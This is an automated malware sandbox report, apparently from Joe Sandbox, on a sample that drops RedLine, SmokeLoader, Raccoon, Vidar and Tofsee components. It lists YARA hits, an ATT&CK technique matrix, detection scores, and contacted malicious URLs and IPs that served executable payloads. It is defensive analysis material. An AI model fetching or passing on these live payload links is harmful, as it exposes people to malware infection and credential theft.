Source: Yara match	File source: 17.2.D936.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.svchost.exe.e70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.krmdinzg.exe.7c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.7c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.D936.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.D936.exe.22b0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.7c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.800983655.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.798724710.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1024071704.0000000000E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.800731759.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.779473426.00000000022D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.801019606.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D936.exe PID: 7124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: krmdinzg.exe PID: 6888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3000, type: MEMORYSTR

Source: Yara match

File source: 0000000F.00000002.775841578.00000000007F9000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 18.2.3D34.exe.430f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.3D34.exe.444ba90.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.3D34.exe.444ba90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.3D34.exe.430f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000000.825922987.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.833275323.00000000041F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.893709342.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.825398173.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.833464312.0000000004361000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.893284342.0000000003702000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.826478110.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.827053471.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.1.ECD2MpEBSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ECD2MpEBSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.jgdhbua.6f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.jgdhbua.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ECD2MpEBSf.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.jgdhbua.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.721727855.00000000006A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.708255964.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.776599972.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.899701090.0000000002070000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721690876.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.901276330.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.776791205.00000000020A1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 00000027.00000003.861803378.0000000004EC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.920806858.0000000004E40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.922842020.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.1015911464.0000000004DA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.1024642477.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 0000000F.00000002.775841578.00000000007F9000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 17.3.D936.exe.22d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.svchost.exe.e70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.D936.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.svchost.exe.e70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.krmdinzg.exe.7c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.7c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.D936.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.D936.exe.22b0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.7c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.800983655.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.798724710.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1024071704.0000000000E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.800731759.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.779473426.00000000022D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.801019606.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D936.exe PID: 7124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: krmdinzg.exe PID: 6888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3000, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,		17_2_004088B0
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,		32_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Native API531	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools211	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer15	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter3	Windows Service14	Access Token Manipulation1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution3	Logon Script (Mac)	Windows Service14	Software Packing43	NTDS	System Information Discovery327	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Process Injection713	Timestomp1	LSA Secrets	Security Software Discovery651	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol36	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Virtualization/Sandbox Evasion231	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading131	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion231	Input Capture	System Network Configuration Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection713	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ECD2MpEBSf.exe	36%	Virustotal		Browse
ECD2MpEBSf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\888A.exe	100%	Avira	HEUR/AGEN.1212012
C:\Users\user\AppData\Local\Temp\CADF.exe	100%	Avira	HEUR/AGEN.1212012
C:\Users\user\AppData\Local\Temp\3D34.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\6C37.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D936.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\krmdinzg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jgdhbua	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CCB2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A332.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3D34.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A4DE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FB58.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E3A9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D502.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BB8A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9889.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3D34.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\3D34.exe	89%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\6C37.exe	50%	ReversingLabs	Win32.Infostealer.Generic
C:\Users\user\AppData\Local\Temp\A332.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\A332.exe	77%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\A4DE.exe	35%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx
C:\Users\user\AppData\Local\Temp\BB8A.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\BB8A.exe	77%	ReversingLabs	Win32.Trojan.Raccoon
C:\Users\user\AppData\Local\Temp\FB58.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\FB58.exe	77%	ReversingLabs	Win32.Ransomware.StopCrypt

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.0.ECD2MpEBSf.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
11.0.jgdhbua.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.BB8A.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.3.D936.exe.22d0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.1.ECD2MpEBSf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.jgdhbua.6f15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.3D34.exe.ec0000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
12.0.BB8A.exe.2080e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.D936.exe.22b0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
15.2.CCB2.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.2.krmdinzg.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
1.0.ECD2MpEBSf.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.3D34.exe.ec0000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.0.ECD2MpEBSf.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
1.2.ECD2MpEBSf.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.BB8A.exe.2080e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.2.svchost.exe.e70000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
37.0.3D34.exe.150000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
12.3.BB8A.exe.2090000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.ECD2MpEBSf.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
15.3.CCB2.exe.7b0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
32.3.krmdinzg.exe.7c0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.0.ECD2MpEBSf.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.jgdhbua.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.ECD2MpEBSf.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
12.0.BB8A.exe.2080e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.2.3D34.exe.150000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
12.2.BB8A.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.3D34.exe.150000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.0.ECD2MpEBSf.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.1.jgdhbua.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.2.krmdinzg.exe.6c0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
32.2.krmdinzg.exe.7c0000.2.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
0.2.ECD2MpEBSf.exe.5715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.BB8A.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.3D34.exe.150000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
17.2.D936.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
18.2.3D34.exe.ec0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
18.0.3D34.exe.ec0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
11.2.jgdhbua.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.0.3D34.exe.150000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
18.0.3D34.exe.ec0000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
11.0.jgdhbua.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.CCB2.exe.680e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
http://unicupload.top/install5.exe	100%	URL Reputation	phishing
http://185.163.204.24/	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
http://81.163.30.181/l2.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
http://185.163.204.24//l/f/RGwRWn4BZ2GIX1a3oIgO/7e7a36a98c7545dda4f314e30bbcbe9a8ba64652	0%	Avira URL Cloud	safe
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://74.201.28.62/book/KB5009812.png	0%	Avira URL Cloud	safe
http://185.163.204.24//l/f/RGwRWn4BZ2GIX1a3oIgO/6bf5d5b41363c3e6b44705458de7ee6f935456db	0%	Avira URL Cloud	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://host-data-coin-11.com/	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://185.163.204.22/capibar	100%	Avira URL Cloud	malware
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://74.201.28.62/book/KB5009812.exe	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	100%	Avira URL Cloud	malware
http://help.disneyplus.com.	0%	URL Reputation	safe
http://81.163.30.181/l3.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	8.209.70.0	true	false	high
github.com	140.82.121.4	true	false	high
patmushta.info	94.142.143.116	true	false	high
raw.githubusercontent.com	185.199.108.133	true	false	high
cdn.discordapp.com	162.159.135.233	true	false	high
microsoft-com.mail.protection.outlook.com	104.47.53.36	true	false	high
iplogger.org	148.251.234.83	true	false	high
goo.su	172.67.139.105	true	false	high
transfer.sh	144.76.136.153	true	false	high
data-host-coin-8.com	8.209.70.0	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://unicupload.top/install5.exe	true	URL Reputation: phishing	unknown
http://185.163.204.24/	true	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	Avira URL Cloud: malware	unknown
http://81.163.30.181/l2.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
http://185.163.204.24//l/f/RGwRWn4BZ2GIX1a3oIgO/7e7a36a98c7545dda4f314e30bbcbe9a8ba64652	true	Avira URL Cloud: safe	unknown
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://74.201.28.62/book/KB5009812.png	true	Avira URL Cloud: safe	unknown
http://185.163.204.24//l/f/RGwRWn4BZ2GIX1a3oIgO/6bf5d5b41363c3e6b44705458de7ee6f935456db	true	Avira URL Cloud: safe	unknown
http://host-data-coin-11.com/	false	URL Reputation: safe	unknown
http://185.163.204.22/capibar	true	Avira URL Cloud: malware	unknown
http://74.201.28.62/book/KB5009812.exe	true	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	true	Avira URL Cloud: malware	unknown
http://81.163.30.181/l3.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000018.00000003.793604569.000002A07957B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/ip	3D34.exe, 00000012.00000002.833275323.00000000041F1000.00000004.00000001.sdmp, 3D34.exe, 00000012.00000002.833464312.0000000004361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000018.00000003.793604569.000002A07957B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 00000018.00000003.793604569.000002A07957B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000018.00000002.819053495.000002A078CEE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000018.00000003.794998457.000002A0795CA000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.795071055.000002A0795B3000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.795037619.000002A079592000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.795102955.000002A079A02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.794951368.000002A0795CA000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://help.disneyplus.com.	svchost.exe, 00000018.00000003.793604569.000002A07957B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.163.45.70	unknown	Moldova Republic of	39798	MIVOCLOUDMD	false
94.142.143.116	patmushta.info	Russian Federation	35196	IHOR-ASRU	false
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
172.67.139.105	goo.su	United States	13335	CLOUDFLARENETUS	false
74.201.28.62	unknown	United States	35913	DEDIPATH-LLCUS	true
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
8.209.70.0	host-data-coin-11.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
104.47.53.36	microsoft-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
81.163.30.181	unknown	Russian Federation	58303	IR-RASANAPISHTAZIR	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
148.251.234.83	iplogger.org	Germany	24940	HETZNER-ASDE	false
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
185.163.204.22	unknown	Germany	20771	CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE	false
185.163.204.24	unknown	Germany	20771	CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553404
Start date:	14.01.2022
Start time:	20:27:34
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ECD2MpEBSf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@58/27@91/19
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 20.6% (good quality ratio 16%) Quality average: 63% Quality standard deviation: 39.5%
HCA Information:	Successful, ratio: 60% Number of executed functions: 106 Number of non-executed functions: 302
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 40.91.112.76, 20.54.110.249, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179, 20.42.65.92 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, microsoft.com, watson.telemetry.microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:29:09	Task Scheduler	Run new task: Firefox Default Browser Agent D3FD9BFE35A9B440 path: C:\Users\user\AppData\Roaming\jgdhbua
20:29:20	API Interceptor	1x Sleep call for process: CCB2.exe modified
20:29:30	API Interceptor	8x Sleep call for process: svchost.exe modified
20:29:34	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:30:03	API Interceptor	1x Sleep call for process: D502.exe modified
20:30:05	API Interceptor	6x Sleep call for process: A332.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_BB8A.exe_be9cde9f8afa847dd729874ac7bf4b4f63becc5_1db953ea_1aa14f53\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
